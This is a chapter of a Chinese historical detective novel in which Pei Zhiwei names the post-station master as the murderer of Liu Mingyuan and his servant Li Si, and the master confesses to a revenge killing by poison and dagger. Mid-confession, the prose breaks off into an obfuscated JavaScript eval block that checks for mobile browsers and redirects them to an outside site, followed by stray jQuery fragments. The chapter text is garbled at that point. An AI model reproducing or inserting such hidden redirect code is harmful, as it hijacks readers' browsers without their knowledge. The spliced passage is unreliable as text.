王承嗣捏着刚写好的行踪记录,快要碰到裴凛衣袖的时候,被一道清亮的女声拦了下来。
“各位大人,先别急着走。”
裴知微从石桌边站起身,轻轻晃了晃手里拿着的那本牛皮封面登记册,“杀害柳明远和李四的人,还没走出这个院子。”
“裴娘子这话是什么意思?”驿长一脸的惊讶。
裴知微没直接回答,反而转向那四名急着要走的官员,语气平静:
“王县令刚才说怕耽误上任期限,可要是真凶没抓到,就算到了江南,晚上想起驿馆里这两条人命,还能睡的安稳吗?”
王承嗣的脸一下子又涨得通红,扯着大嗓门就喊了起来:“你这是在怀疑我们?裴大人都还没说话,你一个姑娘家……”
“我没有怀疑各位大人,”裴知微打断他,转头看向驿长。
“我怀疑的是驿长,是你杀了柳明远和李四。”
“胡说!”驿长猛地吼出声,一把撸起袖子开始争辩。
“我是官府任命的驿长,管着驿馆大小事务,怎么会杀人?
柳明远昨日才带着李四来,我与他们素不相识,有什么理由杀人?”
他摆出一副裴知微不把话说清、便要杠到底的架势。
周围的驿卒也纷纷附和,一个年轻驿卒忍不住开口。
“裴娘子,驿长待人一向宽厚,柳大人官职不高,本不用给他那么些炭,但驿长还特意给柳大人加了炭,怎么会是凶手?”
裴知微没理会这些声音,走到驿长面前站定。
“你是驿长,对这驿馆里每间房、每条路都再熟悉不过。”
她声音不高,但每个人都听得清楚。
“你熟知夜里值班的驿卒每隔一个时辰巡一次院。
你只要趁他们间隔的这段空挡去找柳明远,驿卒自然不会发现。”
“再说李四,他昨天才跟柳明远到这里,连后院到西院的路都未必认得。
怎么可能在有驿卒看守的情况下,准确找到那间偏僻的废屋?
除非,是有人带他去的。”裴知微直视着他。
“而这个人只能是你。
你可以借口问他话,或者叫他去后院等着,他不会怀疑。
他是柳明远的家仆,又可能是最后一个见到柳明远的人,所以你单独叫他出去,没人会觉得奇怪。”
“一派胡言!”驿长脸色骤然沉了下来,转向裴凛质问道。
“裴大人,她一点证据都没有,单凭这些猜测就指认我杀人?传出去,驿馆的名声和我的脸面还要不要了?”
提到名声和脸面,崔孝忠立刻点头附和,语气不耐。
“裴娘子,饭能乱吃,话可不能乱讲。
驿长虽不是朝廷命官,可你即便身为裴少卿之女,也不能这般随意污蔑人。”
王敬宗慢悠悠接话:“是啊裴娘子,你说驿长带李四去后院,有谁看见了?这说法站不住脚。”
赵彦躲在崔孝忠身后,偷偷瞟了驿长一眼,又迅速低下头,像是怕被卷进去,极力想要把自己的存在感降到最低。
“证据当然有。”
裴知微不慌不忙地从锦袋里取出一块叠得整齐的白丝绸手帕。
她把帕子摊在手上,又将登记簿举起来,封面上脏乱一片,连“登记簿”三个字的墨痕都晕开了大片。
“今早裴大人让你念登记簿时,你不小心把它掉在地上。
捡起来时,你伸擦了擦封面,手上的脏污便蹭在了封面上,反倒把原本干净的封面越抹越脏,结果连原本清晰的墨字都晕开来,留下了这片痕迹。”
说着,她又指了指手帕里裹着的深色细碎颗粒,仔细看能瞧出些染黑的痕迹。
“这是从李四身边那把匕首的刀柄上刮下来的。
我已经比对过,这些碎屑的颜色、质地,和登记册封面上的完全一样,都是西院地上的泥混了墨。”
她稍作停顿,将下巴往驿长的袖口努了努。
“刚才你撸袖子的时候,我瞧见袖口沾着的深色土坷,和这手帕里的、登记册上的,是同一种。”
王承嗣张了张嘴没说出话,脸上的焦躁渐渐褪|去,取而代之的是满脸惊愕
崔孝忠擦汗的手停在空中,原本想替驿长辩解的话咽了回去,崔家百年清誉,可不能和“凶手”扯上关系。
王敬宗皱起眉,打量着驿长,没再说话。
赵彦下意识想要躲起来,又怕被人注意,僵在原地。
驿长站在原地,一动不动地沉默了许久。
他没有否认,深深叹了口气,缓缓抬头,视线扫过院里的人,最后落在裴知微身上,声音里满是疲惫:
“你说得对,柳明远和李四,都是我杀的。”
“你……你真杀了人?”老驿卒猛地回头,满脸的不敢置信。
他跟着驿长在这官驿待了五年,从没见对方发过脾气,更别提动手杀人。
“杀柳明远,是为了报仇。”驿长看向柳明远的房间,眼里渐渐升起强烈的恨意。
“他是‘圣莲教’的人。十年前,那个邪教骗光了我的家产,还害死了我的妻子和女儿。”
“圣莲教?”裴凛微微一怔。
他记得这个教派,十年前因蛊惑百姓、敛财害命被朝廷剿灭,当年抓了不少教众,没想到还有漏网之鱼。
“就是这个邪教!当年他们说我妻子有‘灾厄’,要我把全部家产捐给教里才能化解。
我信了,可他们拿了钱,把我妻子和女儿关在柴房里活活饿死!
我去找他们理论,他们却说我的妻女是‘孽障’,死了活该!”
他深吸一口气,努力平复情绪:“朝廷取缔了邪教,我以为这帮天杀的都遭了报应。
可昨天柳明远住进来,我无意中看见他屋里的香炉斜插着一根香。
那是‘圣莲教’小头目特有的祭拜法子,我一眼就认出来了。”
裴知微问道:“可柳明远和李四的尸身上都没有挣扎的痕迹。
柳明远是文官,或许没力气反抗,可李四是家仆,常年干活有把子力气,怎会没挣扎就丢了性命?”
所有人都看向驿长,连那四个官员也忘了要走,等着他的回答。
驿长没有回避,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368471|183929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给他们下了毒。
那东西无色无味,混在水里,人喝下不用一刻钟,就会全身麻痹,意识清醒,却动不了一根手指,连喊都喊不出来。”
“河豚毒?”王承嗣猛地喊出声,眼睛瞪得老大,“这东西不是早就禁了吗!私藏河豚毒是死罪,你怎么敢……”
“我有什么不敢的?”驿长打断他,语气里带着自嘲。
“十年前我妻女死的时候,我就该死了。”
他看向裴知微,继续说:“夜里我去柳明远房里问他还有没有什么需要,顺势给他倒了杯热茶,把毒下在里面。
他没有防备,一口就喝了。我故意与他聊了起来,他说要替我驱邪,跪在香炉前念那些邪经。
不到一刻钟,他就僵在那里动不了了。我拿出匕首,刺进他胸口,他连躲都躲不了。”
“那李四呢?”裴知微追问,“他只是柳明远的家仆,跟你无冤无仇,为什么杀他?”
“他伺|候柳明远,能是什么好东西。”驿长声音没有半点犹豫。
“没有人知道我去找过柳明远。
如果李四‘畏罪自杀’,所有人都会以为是他杀了柳明远。
这样案子就能快点结,没人会怀疑到我头上。”
他停顿了一下,回想起当时的情形。
“我找到李四时,他正蹲在角落里。
我跟他说裴大人找他,有东西要他去后院认。他没有怀疑,跟着我去了那间废屋。
在路上,我就把下了毒的水递给他喝,他主子刚死,心里正慌,接过去就喝了。
等到了空屋,没多久他就不能动了。我把匕首刺进他胸口,又伪造了那封遗书。
我知道他识字不多,特意把字写得歪歪扭扭,让人以为是他慌乱中写的。”
“你就不怕被发现?”崔孝忠皱眉,语气厌恶,“用毒杀人,还嫁祸给无辜的人,这么阴狠……”
“怕?”驿长笑了笑,笑容里满是悲凉,“我妻女死的时候,我就不知道怕了。我只是没想到,会被你看出破绽。”
他看向裴知微,眼神复杂:“你很聪明,比我见过的许多官员都要聪明。
要不是你,这个案子大概真会以‘家仆杀主后自尽’结案。”
裴凛语声沉肃:“驿长武颇,你为报私仇,不仅害了朝廷命官性命,还将罪责嫁祸无辜。
这已然触犯我大梁律法。如今,我以大理寺少卿的身份,按律将你拿下。”
两名驿卒忙取了铁链,刚要上前锁他,却被他抬手拦了住。
他用力将袖口那混着墨渍的土坷拍落干净,又理了理衣领,动作不慌不忙。
“不用你们动手,我自己走。杀柳明远,我半分不后悔,替妻女报了这仇,便是死,我也能闭眼了。”
话落,他转身往驿馆外走,脚步平稳,半点儿慌乱也没有。
院子里的人都望着他的背影,好一会儿没说话。
众人默默回房拿上行囊,匆匆踏上赴任的道路
赵彦是最后一个收拾好的,正准备走出房门,不经意间抬头,却发现裴知微不知何时挡住了自己的去路。